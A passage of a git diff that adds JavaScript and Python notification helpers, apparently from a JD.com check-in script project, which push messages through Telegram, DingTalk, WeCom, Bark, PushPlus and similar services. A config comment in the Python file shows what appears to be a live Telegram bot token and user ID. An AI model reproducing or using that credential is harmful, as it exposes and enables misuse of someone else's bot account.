$.logErr(e, resp); + } + finally { + resolve(); + } + }); + } else { + resolve(); + } + }); +} + +function gobotNotify(text, desp, time = 2100) { + return new Promise((resolve) => { + if (GOBOT_URL) { + const options = { + url: `${GOBOT_URL}?access_token=${GOBOT_TOKEN}&${GOBOT_QQ}`, + json: { + message: `${text}\n${desp}` + }, + headers: { + 'Content-Type': 'application/json', + }, + timeout, + }; + setTimeout(() => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('发送go-cqhttp通知调用API失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + if (data.retcode === 0) { + console.log('go-cqhttp发送通知消息成功🎉\n'); + } else if (data.retcode === 100) { + console.log(`go-cqhttp发送通知消息异常: ${data.errmsg}\n`); + } else { + console.log(`go-cqhttp发送通知消息异常\n${JSON.stringify(data)}`); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + }, time); + } else { + resolve(); + } + }); +} + +function serverNotify(text, desp, time = 2100) { + return new Promise((resolve) => { + if (SCKEY) { + //微信server酱推送通知一个\n不会换行,需要两个\n才能换行,故做此替换 + desp = desp.replace(/[\n\r]/g, '\n\n'); + const options = { + url: SCKEY.includes('SCT') ? `https://sctapi.ftqq.com/${SCKEY}.send` : `https://sc.ftqq.com/${SCKEY}.send`, + body: `text=${text}&desp=${desp}`, + headers: { + 'Content-Type': 'application/x-www-form-urlencoded', + }, + timeout, + }; + setTimeout(() => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('发送通知调用API失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + //server酱和Server酱·Turbo版的返回json格式不太一样 + if (data.errno === 0 || data.data.errno === 0) { + console.log('server酱发送通知消息成功🎉\n'); + } else if (data.errno === 1024) { + // 一分钟内发送相同的内容会触发 + console.log(`server酱发送通知消息异常: ${data.errmsg}\n`); + } else { + console.log(`server酱发送通知消息异常\n${JSON.stringify(data)}`); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + }, time); + } else { + resolve(); + } + }); +} + +function BarkNotify(text, desp, params = {}) { + return new Promise((resolve) => { + if (BARK_PUSH) { + const options = { + url: `${BARK_PUSH}/${encodeURIComponent(text)}/${encodeURIComponent( + desp + )}?sound=${BARK_SOUND}&group=${BARK_GROUP}&${querystring.stringify(params)}`, + headers: { + 'Content-Type': 'application/x-www-form-urlencoded', + }, + timeout, + }; + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log('Bark APP发送通知调用API失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + if (data.code === 200) { + console.log('Bark APP发送通知消息成功🎉\n'); + } else { + console.log(`${data.message}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(); + } + }); + } else { + resolve(); + } + }); +} + +function tgBotNotify(text, desp) { + return new Promise(resolve => { + if (TG_BOT_TOKEN && TG_USER_ID) { + const options = { + url: `https://${TG_API_HOST}/bot${TG_BOT_TOKEN}/sendMessage`, + json: { + chat_id: `${TG_USER_ID}`, + text: `${text}\n\n${desp}`, + disable_web_page_preview:true, + }, + headers: { + 'Content-Type': 'application/json', + }, + timeout + } + if (TG_PROXY_HOST && TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: TG_PROXY_HOST, + port: TG_PROXY_PORT * 1, + proxyAuth: TG_PROXY_AUTH + } + }) + } + Object.assign(options, {agent}) + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('telegram发送通知消息失败!!\n') + console.log(err); + } else { + data = JSON.parse(data); + if (data.ok) { + console.log('Telegram发送通知消息成功�。\n') + } else if (data.error_code === 400) { + console.log('请主动给bot发送一条消息并检查接收用户ID是否正确。\n') + } else if (data.error_code === 401) { + console.log('Telegram bot token 填写错误。\n') + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + } else { + resolve() + } + }) +} + +function ddBotNotify(text, desp) { + return new Promise((resolve) => { + const options = { + url: `https://oapi.dingtalk.com/robot/send?access_token=${DD_BOT_TOKEN}`, + json: { + msgtype: 'text', + text: { + content: ` ${text}\n\n${desp}`, + }, + }, + headers: { + 'Content-Type': 'application/json', + }, + timeout, + }; + if (DD_BOT_TOKEN && DD_BOT_SECRET) { + const crypto = require('crypto'); + const dateNow = Date.now(); + const hmac = crypto.createHmac('sha256', DD_BOT_SECRET); + hmac.update(`${dateNow}\n${DD_BOT_SECRET}`); + const result = encodeURIComponent(hmac.digest('base64')); + options.url = `${options.url}×tamp=${dateNow}&sign=${result}`; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('钉钉发送通知消息失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + if (data.errcode === 0) { + console.log('钉钉发送通知消息成功🎉。\n'); + } else { + console.log(`${data.errmsg}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + } else if (DD_BOT_TOKEN) { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('钉钉发送通知消息失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + if (data.errcode === 0) { + console.log('钉钉发送通知消息完成。\n'); + } else { + console.log(`${data.errmsg}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} + +function qywxBotNotify(text, desp) { + return new Promise((resolve) => { + const options = { + url: `https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=${QYWX_KEY}`, + json: { + msgtype: 'text', + text: { + content: ` ${text}\n\n${desp}`, + }, + }, + headers: { + 'Content-Type': 'application/json', + }, + timeout, + }; + if (QYWX_KEY) { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('企业微信发送通知消息失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + if (data.errcode === 0) { + console.log('企业微信发送通知消息成功🎉。\n'); + } else { + console.log(`${data.errmsg}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} + +function buildLastDesp(desp, author = '') { + author = process.env.NOTIFY_AUTHOR || author; + if (process.env.NOTIFY_AUTHOR_BLANK || !author) { + return desp.trim(); + } else { + if (!author.match(/本通知 By/)) { + author = `\n\n本通知 By ${author}` + } + return desp.trim() + author + "\n通知时间: " + GetDateTime(new Date()); + } +} + +function ChangeUserId(desp) { + const QYWX_AM_AY = QYWX_AM.split(','); + if (QYWX_AM_AY[2]) { + const userIdTmp = QYWX_AM_AY[2].split('|'); + let userId = ''; + for (let i = 0; i < userIdTmp.length; i++) { + const count = '账号' + (i + 1); + const count2 = '签到号 ' + (i + 1); + if (desp.match(count2)) { + userId = userIdTmp[i]; + } + } + if (!userId) + userId = QYWX_AM_AY[2]; + return userId; + } else { + return '@all'; + } +} + +function qywxamNotify(text, desp, strsummary = "") { + return new Promise((resolve) => { + if (QYWX_AM) { + const QYWX_AM_AY = QYWX_AM.split(','); + const options_accesstoken = { + url: `https://qyapi.weixin.qq.com/cgi-bin/gettoken`, + json: { + corpid: `${QYWX_AM_AY[0]}`, + corpsecret: `${QYWX_AM_AY[1]}`, + }, + headers: { + 'Content-Type': 'application/json', + }, + timeout, + }; + $.post(options_accesstoken, (err, resp, data) => { + html = desp.replace(/\n/g, '
'); + html = `${html}`; + if (strsummary == "") { + strsummary = desp; + } + var json = JSON.parse(data); + accesstoken = json.access_token; + let options; + + switch (QYWX_AM_AY[4]) { + case '0': + options = { + msgtype: 'textcard', + textcard: { + title: `${text}`, + description: `${strsummary}`, + url: 'https://github.com/whyour/qinglong', + btntxt: '更多', + }, + }; + break; + + case '1': + options = { + msgtype: 'text', + text: { + content: `${text}\n\n${desp}`, + }, + }; + break; + + default: + options = { + msgtype: 'mpnews', + mpnews: { + articles: [{ + title: `${text}`, + thumb_media_id: `${QYWX_AM_AY[4]}`, + author: `智能助手`, + content_source_url: ``, + content: `${html}`, + digest: `${strsummary}`, + }, ], + }, + }; + } + if (!QYWX_AM_AY[4]) { + //如不提供第四个参数,则默认进行文本消息类型推送 + options = { + msgtype: 'text', + text: { + content: `${text}\n\n${desp}`, + }, + }; + } + options = { + url: `https://qyapi.weixin.qq.com/cgi-bin/message/send?access_token=${accesstoken}`, + json: { + touser: `${ChangeUserId(desp)}`, + agentid: `${QYWX_AM_AY[3]}`, + safe: '0', + ...options, + }, + headers: { + 'Content-Type': 'application/json', + }, + }; + + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('成员ID:' + ChangeUserId(desp) + '企业微信应用消息发送通知消息失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + if (data.errcode === 0) { + console.log('成员ID:' + ChangeUserId(desp) + '企业微信应用消息发送通知消息成功🎉。\n'); + } else { + console.log(`${data.errmsg}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + }); + } else { + resolve(); + } + }); +} + +function iGotNotify(text, desp, params = {}) { + return new Promise((resolve) => { + if (IGOT_PUSH_KEY) { + // 校验传入的IGOT_PUSH_KEY是否有效 + const IGOT_PUSH_KEY_REGX = new RegExp('^[a-zA-Z0-9]{24}$'); + if (!IGOT_PUSH_KEY_REGX.test(IGOT_PUSH_KEY)) { + console.log('您所提供的IGOT_PUSH_KEY无效\n'); + resolve(); + return; + } + const options = { + url: `https://push.hellyw.com/${IGOT_PUSH_KEY.toLowerCase()}`, + body: `title=${text}&content=${desp}&${querystring.stringify(params)}`, + headers: { + 'Content-Type': 'application/x-www-form-urlencoded', + }, + timeout, + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('发送通知调用API失败!!\n'); + console.log(err); + } else { + if (typeof data === 'string') + data = JSON.parse(data); + if (data.ret === 0) { + console.log('iGot发送通知消息成功🎉\n'); + } else { + console.log(`iGot发送通知消息失败:${data.errMsg}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} +function pushPlusNotifyhxtrip(text, desp) { + return new Promise((resolve) => { + if (PUSH_PLUS_TOKEN_hxtrip) { + //desp = `${desp}`; + + desp = desp.replace(/[\n\r]/g, '
'); // 默认为html, 不支持plaintext + const body = { + token: `${PUSH_PLUS_TOKEN_hxtrip}`, + title: `${text}`, + content: `${desp}`, + topic: `${PUSH_PLUS_USER_hxtrip}`, + }; + const options = { + url: `http://pushplus.hxtrip.com/send`, + body: JSON.stringify(body), + headers: { + 'Content-Type': ' application/json', + }, + timeout, + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`hxtrip push+发送${PUSH_PLUS_USER_hxtrip ? '一对多' : '一对一'}通知消息失败!!\n`); + PushErrorTime += 1; + console.log(err); + } else { + if (data.indexOf("200") > -1) { + console.log(`hxtrip push+发送${PUSH_PLUS_USER_hxtrip ? '一对多' : '一对一'}通知消息完成。\n`); + PushErrorTime = 0; + } else { + console.log(`hxtrip push+发送${PUSH_PLUS_USER_hxtrip ? '一对多' : '一对一'}通知消息失败:${data}\n`); + PushErrorTime += 1; + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} + +function pushPlusNotify(text, desp) { + return new Promise((resolve) => { + if (PUSH_PLUS_TOKEN) { + + //desp = `${desp}`; + + desp = desp.replace(/[\n\r]/g, '
'); // 默认为html, 不支持plaintext + const body = { + token: `${PUSH_PLUS_TOKEN}`, + title: `${text}`, + content: `${desp}`, + topic: `${PUSH_PLUS_USER}`, + }; + const options = { + url: `https://www.pushplus.plus/send`, + body: JSON.stringify(body), + headers: { + 'Content-Type': ' application/json', + }, + timeout, + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`push+发送${PUSH_PLUS_USER ? '一对多' : '一对一'}通知消息失败!!\n`); + PushErrorTime += 1; + console.log(err); + } else { + data = JSON.parse(data); + if (data.code === 200) { + console.log(`push+发送${PUSH_PLUS_USER ? '一对多' : '一对一'}通知消息完成。\n`); + PushErrorTime = 0; + } else { + console.log(`push+发送${PUSH_PLUS_USER ? '一对多' : '一对一'}通知消息失败:${data.msg}\n`); + PushErrorTime += 1; + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} +function wxpusherNotifyByOne(text, desp, strsummary = "") { + return new Promise((resolve) => { + if (WP_APP_TOKEN_ONE) { + var WPURL = ""; + if (strsummary) { + strsummary = text + "\n" + strsummary; + } else { + strsummary = text + "\n" + desp; + } + + if (strsummary.length > 96) { + strsummary = strsummary.substring(0, 95) + "..."; + } + let uids = []; + for (let i of WP_UIDS_ONE.split(";")) { + if (i.length != 0) + uids.push(i); + }; + let topicIds = []; + + //desp = `${desp}`; + desp = desp.replace(/[\n\r]/g, '
'); // 默认为html, 不支持plaintext + desp = `
+
+
+

+ ${text} +

+
+
+
+
+

+ 📢 +

+
+
+
+
+
+

+ ${desp} +

+
+
+
`; + + const body = { + appToken: `${WP_APP_TOKEN_ONE}`, + content: `${desp}`, + summary: `${strsummary}`, + contentType: 2, + topicIds: topicIds, + uids: uids, + url: `${WPURL}`, + }; + const options = { + url: `http://wxpusher.zjiecode.com/api/send/message`, + body: JSON.stringify(body), + headers: { + "Content-Type": "application/json", + }, + timeout, + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log("WxPusher 发送通知调用 API 失败!!\n"); + console.log(err); + } else { + data = JSON.parse(data); + if (data.code === 1000) { + console.log("WxPusher 发送通知消息成功!\n"); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} + +function wxpusherNotify(text, desp) { + return new Promise((resolve) => { + if (WP_APP_TOKEN) { + let uids = []; + for (let i of WP_UIDS.split(";")) { + if (i.length != 0) + uids.push(i); + }; + let topicIds = []; + for (let i of WP_TOPICIDS.split(";")) { + if (i.length != 0) + topicIds.push(i); + }; + desp = `${text}\n\n${desp}`; + desp = desp.replace(/[\n\r]/g, '
'); // 默认为html, 不支持plaintext + const body = { + appToken: `${WP_APP_TOKEN}`, + content: `${text}\n\n${desp}`, + summary: `${text}`, + contentType: 2, + topicIds: topicIds, + uids: uids, + url: `${WP_URL}`, + }; + const options = { + url: `http://wxpusher.zjiecode.com/api/send/message`, + body: JSON.stringify(body), + headers: { + "Content-Type": "application/json", + }, + timeout, + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log("WxPusher 发送通知调用 API 失败!!\n"); + console.log(err); + } else { + data = JSON.parse(data); + if (data.code === 1000) { + console.log("WxPusher 发送通知消息成功!\n"); + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + } else { + resolve(); + } + }); +} + +function GetDateTime(date) { + + var timeString = ""; + + var timeString = date.getFullYear() + "-"; + if ((date.getMonth() + 1) < 10) + timeString += "0" + (date.getMonth() + 1) + "-"; + else + timeString += (date.getMonth() + 1) + "-"; + + if ((date.getDate()) < 10) + timeString += "0" + date.getDate() + " "; + else + timeString += date.getDate() + " "; + + if ((date.getHours()) < 10) + timeString += "0" + date.getHours() + ":"; + else + timeString += date.getHours() + ":"; + + if ((date.getMinutes()) < 10) + timeString += "0" + date.getMinutes() + ":"; + else + timeString += date.getMinutes() + ":"; + + if ((date.getSeconds()) < 10) + timeString += "0" + date.getSeconds(); + else + timeString += date.getSeconds(); + + return timeString; +} + +function GetnickName() { + return new Promise(async resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Host: "me-api.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + + } else { + $.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } + finally { + resolve(); + } + }) + }) +} + +function GetnickName2() { + return new Promise(async(resolve) => { + const options = { + url: `https://wxapp.m.jd.com/kwxhome/myJd/home.json?&useGuideModule=0&bizId=&brandId=&fromType=wxapp×tamp=${Date.now()}`, + headers: { + Cookie: cookie, + 'content-type': `application/x-www-form-urlencoded`, + Connection: `keep-alive`, + 'Accept-Encoding': `gzip,compress,br,deflate`, + Referer: `https://servicewechat.com/wxa5bf5ee667d91626/161/page-frame.html`, + Host: `wxapp.m.jd.com`, + 'User-Agent': `Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.10(0x18000a2a) NetType/WIFI Language/zh_CN`, + }, + }; + $.post(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err); + } else { + if (data) { + data = JSON.parse(data); + if (!data.user) { + $.isLogin = false; //cookie过期 + return; + } + const userInfo = data.user; + if (userInfo) { + $.nickName = userInfo.petName; + } + } else { + $.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e); + } + finally { + resolve(); + } + }); + }); +} + +module.exports = { + sendNotify, + sendNotifybyWxPucher, + BARK_PUSH, +}; + +// prettier-ignore +function Env(t, s) { + return new(class { + constructor(t, s) { + (this.name = t), + (this.data = null), + (this.dataFile = 'box.dat'), + (this.logs = []), + (this.logSeparator = '\n'), + (this.startTime = new Date().getTime()), + Object.assign(this, s), + this.log('', `\ud83d\udd14${this.name}, \u5f00\u59cb!`); + } + isNode() { + return 'undefined' != typeof module && !!module.exports; + } + isQuanX() { + return 'undefined' != typeof $task; + } + isSurge() { + return 'undefined' != typeof $httpClient && 'undefined' == typeof $loon; + } + isLoon() { + return 'undefined' != typeof $loon; + } + getScript(t) { + return new Promise((s) => { + $.get({ + url: t + }, (t, e, i) => s(i)); + }); + } + runScript(t, s) { + return new Promise((e) => { + let i = this.getdata('@chavy_boxjs_userCfgs.httpapi'); + i = i ? i.replace(/\n/g, '').trim() : i; + let o = this.getdata('@chavy_boxjs_userCfgs.httpapi_timeout'); + (o = o ? 1 * o : 20), + (o = s && s.timeout ? s.timeout : o); + const[h, a] = i.split('@'), + r = { + url: `http://${a}/v1/scripting/evaluate`, + body: { + script_text: t, + mock_type: 'cron', + timeout: o + }, + headers: { + 'X-Key': h, + Accept: '*/*' + }, + }; + $.post(r, (t, s, i) => e(i)); + }).catch((t) => this.logErr(t)); + } + loaddata() { + if (!this.isNode()) + return {}; { + (this.fs = this.fs ? this.fs : require('fs')), + (this.path = this.path ? this.path : require('path')); + const t = this.path.resolve(this.dataFile), + s = this.path.resolve(process.cwd(), this.dataFile), + e = this.fs.existsSync(t), + i = !e && this.fs.existsSync(s); + if (!e && !i) + return {}; { + const i = e ? t : s; + try { + return JSON.parse(this.fs.readFileSync(i)); + } catch (t) { + return {}; + } + } + } + } + writedata() { + if (this.isNode()) { + (this.fs = this.fs ? this.fs : require('fs')), + (this.path = this.path ? this.path : require('path')); + const t = this.path.resolve(this.dataFile), + s = this.path.resolve(process.cwd(), this.dataFile), + e = this.fs.existsSync(t), + i = !e && this.fs.existsSync(s), + o = JSON.stringify(this.data); + e ? this.fs.writeFileSync(t, o) : i ? this.fs.writeFileSync(s, o) : this.fs.writeFileSync(t, o); + } + } + lodash_get(t, s, e) { + const i = s.replace(/\[(\d+)\]/g, '.$1').split('.'); + let o = t; + for (const t of i) + if (((o = Object(o)[t]), void 0 === o)) + return e; + return o; + } + lodash_set(t, s, e) { + return Object(t) !== t ? t : (Array.isArray(s) || (s = s.toString().match(/[^.[\]]+/g) || []), (s.slice(0, -1).reduce((t, e, i) => (Object(t[e]) === t[e] ? t[e] : (t[e] = Math.abs(s[i + 1]) >> 0 == +s[i + 1] ? [] : {})), t)[s[s.length - 1]] = e), t); + } + getdata(t) { + let s = this.getval(t); + if (/^@/.test(t)) { + const[, e, i] = /^@(.*?)\.(.*?)$/.exec(t), + o = e ? this.getval(e) : ''; + if (o) + try { + const t = JSON.parse(o); + s = t ? this.lodash_get(t, i, '') : s; + } catch (t) { + s = ''; + } + } + return s; + } + setdata(t, s) { + let e = !1; + if (/^@/.test(s)) { + const[, i, o] = /^@(.*?)\.(.*?)$/.exec(s), + h = this.getval(i), + a = i ? ('null' === h ? null : h || '{}') : '{}'; + try { + const s = JSON.parse(a); + this.lodash_set(s, o, t), + (e = this.setval(JSON.stringify(s), i)); + } catch (s) { + const h = {}; + this.lodash_set(h, o, t), + (e = this.setval(JSON.stringify(h), i)); + } + } else + e = $.setval(t, s); + return e; + } + getval(t) { + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? ((this.data = this.loaddata()), this.data[t]) : (this.data && this.data[t]) || null; + } + setval(t, s) { + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, s) : this.isQuanX() ? $prefs.setValueForKey(t, s) : this.isNode() ? ((this.data = this.loaddata()), (this.data[s] = t), this.writedata(), !0) : (this.data && this.data[s]) || null; + } + initGotEnv(t) { + (this.got = this.got ? this.got : require('got')), + (this.cktough = this.cktough ? this.cktough : require('tough-cookie')), + (this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar()), + t && ((t.headers = t.headers ? t.headers : {}), void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)); + } + get(t, s = () => {}) { + t.headers && (delete t.headers['Content-Type'], delete t.headers['Content-Length']), + this.isSurge() || this.isLoon() ? $httpClient.get(t, (t, e, i) => { + !t && e && ((e.body = i), (e.statusCode = e.status)), + s(t, e, i); + }) : this.isQuanX() ? $task.fetch(t).then((t) => { + const { + statusCode: e, + statusCode: i, + headers: o, + body: h + } = t; + s(null, { + status: e, + statusCode: i, + headers: o, + body: h + }, h); + }, (t) => s(t)) : this.isNode() && (this.initGotEnv(t), this.got(t).on('redirect', (t, s) => { + try { + const e = t.headers['set-cookie'].map(this.cktough.Cookie.parse).toString(); + this.ckjar.setCookieSync(e, null), + (s.cookieJar = this.ckjar); + } catch (t) { + this.logErr(t); + } + }).then((t) => { + const { + statusCode: e, + statusCode: i, + headers: o, + body: h + } = t; + s(null, { + status: e, + statusCode: i, + headers: o, + body: h + }, h); + }, (t) => s(t))); + } + post(t, s = () => {}) { + if ((t.body && t.headers && !t.headers['Content-Type'] && (t.headers['Content-Type'] = 'application/x-www-form-urlencoded'), delete t.headers['Content-Length'], this.isSurge() || this.isLoon())) + $httpClient.post(t, (t, e, i) => { + !t && e && ((e.body = i), (e.statusCode = e.status)), + s(t, e, i); + }); + else if (this.isQuanX()) + (t.method = 'POST'), $task.fetch(t).then((t) => { + const { + statusCode: e, + statusCode: i, + headers: o, + body: h + } = t; + s(null, { + status: e, + statusCode: i, + headers: o, + body: h + }, h); + }, (t) => s(t)); + else if (this.isNode()) { + this.initGotEnv(t); + const { + url: e, + ...i + } = t; + this.got.post(e, i).then((t) => { + const { + statusCode: e, + statusCode: i, + headers: o, + body: h + } = t; + s(null, { + status: e, + statusCode: i, + headers: o, + body: h + }, h); + }, (t) => s(t)); + } + } + time(t) { + let s = { + 'M+': new Date().getMonth() + 1, + 'd+': new Date().getDate(), + 'H+': new Date().getHours(), + 'm+': new Date().getMinutes(), + 's+': new Date().getSeconds(), + 'q+': Math.floor((new Date().getMonth() + 3) / 3), + S: new Date().getMilliseconds(), + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (new Date().getFullYear() + '').substr(4 - RegExp.$1.length))); + for (let e in s) + new RegExp('(' + e + ')').test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? s[e] : ('00' + s[e]).substr(('' + s[e]).length))); + return t; + } + msg(s = t, e = '', i = '', o) { + const h = (t) => !t || (!this.isLoon() && this.isSurge()) ? t : 'string' == typeof t ? this.isLoon() ? t : this.isQuanX() ? { + 'open-url': t + } + : void 0 : 'object' == typeof t && (t['open-url'] || t['media-url']) ? this.isLoon() ? t['open-url'] : this.isQuanX() ? t : void 0 : void 0; + $.isMute || (this.isSurge() || this.isLoon() ? $notification.post(s, e, i, h(o)) : this.isQuanX() && $notify(s, e, i, h(o))), + this.logs.push('', '==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============='), + this.logs.push(s), + e && this.logs.push(e), + i && this.logs.push(i); + } + log(...t) { + t.length > 0 ? (this.logs = [...this.logs, ...t]) : console.log(this.logs.join(this.logSeparator)); + } + logErr(t, s) { + const e = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + e ? $.log('', `\u2757\ufe0f${this.name}, \u9519\u8bef!`, t.stack) : $.log('', `\u2757\ufe0f${this.name}, \u9519\u8bef!`, t); + } + wait(t) { + return new Promise((s) => setTimeout(s, t)); + } + done(t = {}) { + const s = new Date().getTime(), + e = (s - this.startTime) / 1e3; + this.log('', `\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${e} \u79d2`), + this.log(), + (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t); + } + })(t, s); +} diff --git a/sendNotify.py b/sendNotify.py new file mode 100644 index 0000000..56d6aa5 --- /dev/null +++ b/sendNotify.py @@ -0,0 +1,429 @@ +#!/usr/bin/env python3 +# _*_ coding:utf-8 _*_ + +#Modify: Kirin + +import sys +import os, re +import requests +import json +import time +import hmac +import hashlib +import base64 +import urllib.parse +from requests.adapters import HTTPAdapter +from urllib3.util import Retry + +cur_path = os.path.abspath(os.path.dirname(__file__)) +root_path = os.path.split(cur_path)[0] +sys.path.append(root_path) + +# 通知服务 +BARK = '' # bark服务,自行搜索; secrets可填; +BARK_PUSH='' # bark自建服务器,要填完整链接,结尾的/不要 +SCKEY = '' # Server酱的SCKEY; secrets可填 +TG_BOT_TOKEN = '' # tg机器人的TG_BOT_TOKEN; secrets可填1407203283:AAG9rt-6RDaaX0HBLZQq0laNOh898iFYaRQ +TG_USER_ID = '' # tg机器人的TG_USER_ID; secrets可填 1434078534 +TG_API_HOST='' # tg 代理api +TG_PROXY_IP = '' # tg机器人的TG_PROXY_IP; secrets可填 +TG_PROXY_PORT = '' # tg机器人的TG_PROXY_PORT; secrets可填 +DD_BOT_ACCESS_TOKEN = '' # 钉钉机器人的DD_BOT_ACCESS_TOKEN; secrets可填 +DD_BOT_SECRET = '' # 钉钉机器人的DD_BOT_SECRET; secrets可填 +QQ_SKEY = '' # qq机器人的QQ_SKEY; secrets可填 +QQ_MODE = '' # qq机器人的QQ_MODE; secrets可填 +QYWX_AM = '' # 企业微信 +QYWX_KEY = '' # 企业微信BOT +PUSH_PLUS_TOKEN = '' # 微信推送Plus+ + +notify_mode = [] + +message_info = '''''' + +# GitHub action运行需要填写对应的secrets +if "BARK" in os.environ and os.environ["BARK"]: + BARK = os.environ["BARK"] +if "BARK_PUSH" in os.environ and os.environ["BARK_PUSH"]: + BARK_PUSH = os.environ["BARK_PUSH"] +if "SCKEY" in os.environ and os.environ["SCKEY"]: + SCKEY = os.environ["SCKEY"] +if "TG_BOT_TOKEN" in os.environ and os.environ["TG_BOT_TOKEN"] and "TG_USER_ID" in os.environ and os.environ["TG_USER_ID"]: + TG_BOT_TOKEN = os.environ["TG_BOT_TOKEN"] + TG_USER_ID = os.environ["TG_USER_ID"] +if "TG_API_HOST" in os.environ and os.environ["TG_API_HOST"]: + TG_API_HOST = os.environ["TG_API_HOST"] +if "DD_BOT_ACCESS_TOKEN" in os.environ and os.environ["DD_BOT_ACCESS_TOKEN"] and "DD_BOT_SECRET" in os.environ and os.environ["DD_BOT_SECRET"]: + DD_BOT_ACCESS_TOKEN = os.environ["DD_BOT_ACCESS_TOKEN"] + DD_BOT_SECRET = os.environ["DD_BOT_SECRET"] +if "QQ_SKEY" in os.environ and os.environ["QQ_SKEY"] and "QQ_MODE" in os.environ and os.environ["QQ_MODE"]: + QQ_SKEY = os.environ["QQ_SKEY"] + QQ_MODE = os.environ["QQ_MODE"] +# 获取pushplus+ PUSH_PLUS_TOKEN +if "PUSH_PLUS_TOKEN" in os.environ: + if len(os.environ["PUSH_PLUS_TOKEN"]) > 1: + PUSH_PLUS_TOKEN = os.environ["PUSH_PLUS_TOKEN"] + # print("已获取并使用Env环境 PUSH_PLUS_TOKEN") +# 获取企业微信应用推送 QYWX_AM +if "QYWX_AM" in os.environ: + if len(os.environ["QYWX_AM"]) > 1: + QYWX_AM = os.environ["QYWX_AM"] + + +if "QYWX_KEY" in os.environ: + if len(os.environ["QYWX_KEY"]) > 1: + QYWX_KEY = os.environ["QYWX_KEY"] + # print("已获取并使用Env环境 QYWX_AM") + +if BARK: + notify_mode.append('bark') + # print("BARK 推送打开") +if BARK_PUSH: + notify_mode.append('bark') + # print("BARK 推送打开") +if SCKEY: + notify_mode.append('sc_key') + # print("Server酱 推送打开") +if TG_BOT_TOKEN and TG_USER_ID: + notify_mode.append('telegram_bot') + # print("Telegram 推送打开") +if DD_BOT_ACCESS_TOKEN and DD_BOT_SECRET: + notify_mode.append('dingding_bot') + # print("钉钉机器人 推送打开") +if QQ_SKEY and QQ_MODE: + notify_mode.append('coolpush_bot') + # print("QQ机器人 推送打开") + +if PUSH_PLUS_TOKEN: + 